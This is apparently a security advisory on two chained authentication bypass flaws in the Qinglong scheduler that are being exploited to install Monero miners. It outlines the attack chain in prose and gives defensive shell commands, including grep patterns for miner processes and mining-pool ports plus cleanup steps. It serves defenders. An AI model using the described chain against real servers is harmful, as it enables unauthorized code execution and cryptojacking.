Hackers Exploit RCE Flaws in Qinglong Task Scheduler for Cryptomining

Hackers are actively exploiting two authentication bypass vulnerabilities in Qinglong, a popular open-source task scheduling and script automation tool, to deploy cryptomining malware on developers' servers. The attacks leverage the flaws to gain unauthenticated remote code execution, with threat actors installing cryptocurrency miners — primarily Monero (XMR) miners — on compromised systems.

What Is Qinglong?

Qinglong (青龙面板) is a widely used open-source task scheduling panel popular in the developer community, particularly for automating scripts, scheduled jobs, and cron-based workflows. It provides a web interface for managing scripts written in Node.js, Python, Shell, and TypeScript. The tool is commonly self-hosted by individual developers and small teams via Docker containers.

Because Qinglong often runs on cloud-hosted VMs and containers with internet-accessible management interfaces, it represents an attractive target for threat actors seeking compute resources for mining.

The Vulnerabilities

Researchers identified two authentication bypass vulnerabilities in Qinglong that can be chained to achieve unauthenticated remote code execution:

Vulnerability 1: Authentication Bypass on API Endpoints

The first flaw affects Qinglong's REST API, where certain endpoints fail to properly enforce authentication checks. An unauthenticated remote attacker can interact with privileged API functionality that should require a valid session token.

Vulnerability 2: Script Execution Without Authorization

The second vulnerability allows an attacker who bypasses the first authentication check to directly invoke Qinglong's script execution functionality. Since Qinglong's core purpose is running arbitrary scripts, this provides a direct path to remote code execution on the underlying server.

Attack Chain:
1. Attacker identifies internet-exposed Qinglong instance
   (typically on port 5700 via Docker, or behind a reverse proxy)
 
2. Exploit authentication bypass on target API endpoint
   (no credentials required)
 
3. Leverage the authenticated session to submit a malicious script
   for immediate execution
 
4. Script executes on the host OS with the privileges of the
   Qinglong process (often root in Docker deployments)
 
5. Attacker deploys cryptomining payload (Monero/XMR miner)
   and establishes persistence

Active Exploitation in the Wild

Security researchers confirm active exploitation of these vulnerabilities, with observed attack patterns including:

• Automated scanning for internet-exposed Qinglong instances on common ports (5700, 80, 443)
• Monero (XMR) mining payloads deployed immediately after successful exploitation — XMR is favored for its CPU-mining efficiency and privacy features
• Persistence mechanisms — cron jobs added within Qinglong itself to re-deploy the miner if removed
• Resource exhaustion — victims reporting 100% CPU utilization and degraded server performance as the first sign of compromise

The simplicity of the attack chain — two auth bypass flaws leading directly to code execution — has enabled high-volume automated exploitation, making the attack accessible to lower-skilled threat actors using exploit toolkits.

Who Is At Risk?

Any instance of Qinglong with a publicly accessible web interface running a vulnerable version is at risk. This includes:

• Developers hosting Qinglong on VPS servers, cloud instances (AWS, GCP, Azure, DigitalOcean)
• Docker deployments with port 5700 exposed to the internet
• Reverse proxy configurations that forward traffic to an internal Qinglong instance without authentication
• Home lab users who exposed Qinglong for remote access without additional authentication layers

Recommendations

Immediate Actions

1. Update Qinglong immediately to the latest patched version
2. Restrict web interface access — do not expose Qinglong directly to the internet
3. Check for unauthorized scripts — audit all scripts currently in Qinglong for malicious entries
4. Check CPU utilization — unexpectedly high CPU usage may indicate an active miner
5. Review running processes — look for processes associated with XMR mining (xmrig, minerd, etc.)

Securing Your Qinglong Deployment

# Check for suspicious running processes (signs of cryptominer)
ps aux | grep -E "(xmrig|minerd|cryptonight|monero)"
 
# Review recently added cron jobs within Qinglong
# Check Qinglong web UI: Crons → sort by "Last Modified"
 
# Check network connections for mining pool traffic
# Common XMR mining pools use ports 3333, 5555, 7777, 14444
ss -tunp | grep -E "(3333|5555|7777|14444)"
 
# Review Qinglong logs for unauthorized API access
docker logs qinglong --tail 200 | grep -E "(401|403|POST /api)"

Network Hardening

Best practices for Qinglong deployment security:
 
1. Place Qinglong behind a VPN — only allow access from trusted IPs
2. Add an authentication layer via your reverse proxy (basic auth,
   OAuth, or forward auth via Authentik/Authelia)
3. Use Docker network policies to restrict outbound connections from
   the Qinglong container
4. Firewall port 5700 and any other Qinglong ports at the host level
5. Run Qinglong with a non-root user inside the container
6. Consider disabling the web interface entirely and using API-only
   access from trusted internal services

Cleanup If Compromised

# Kill any cryptomining processes
pkill -f xmrig
pkill -f minerd
 
# Check for persistence in system crontabs
crontab -l
cat /etc/cron.d/*
cat /var/spool/cron/*
 
# Check for malicious scripts in common locations
ls -la /tmp /var/tmp
cat /root/.bashrc /root/.profile  # Check for backdoor additions
 
# Consider rebuilding the container from a clean image
docker stop qinglong
docker rm qinglong
docker pull whyour/qinglong:latest
# Restore from known-good backup of scripts/config

Broader Context: Developer Tools as Attack Targets

This campaign is part of a broader trend of threat actors targeting developer tools and automation infrastructure for cryptomining and initial access. Qinglong joins a list of developer-oriented tools that have been actively exploited in the wild, including n8n, Jenkins, GitLab, and various CI/CD systems. These tools typically:

• Run with elevated privileges (often root/system in container environments)
• Have broad network access for integrating with external services
• Execute arbitrary code as a core function
• Are managed by individual developers who may prioritize functionality over security hardening

Organizations should treat self-hosted developer tools with the same security rigor as production infrastructure — particularly when those tools can execute arbitrary code.

Update Qinglong immediately and review your instance for signs of compromise. Internet-exposed Qinglong instances running vulnerable versions should be treated as compromised until verified clean.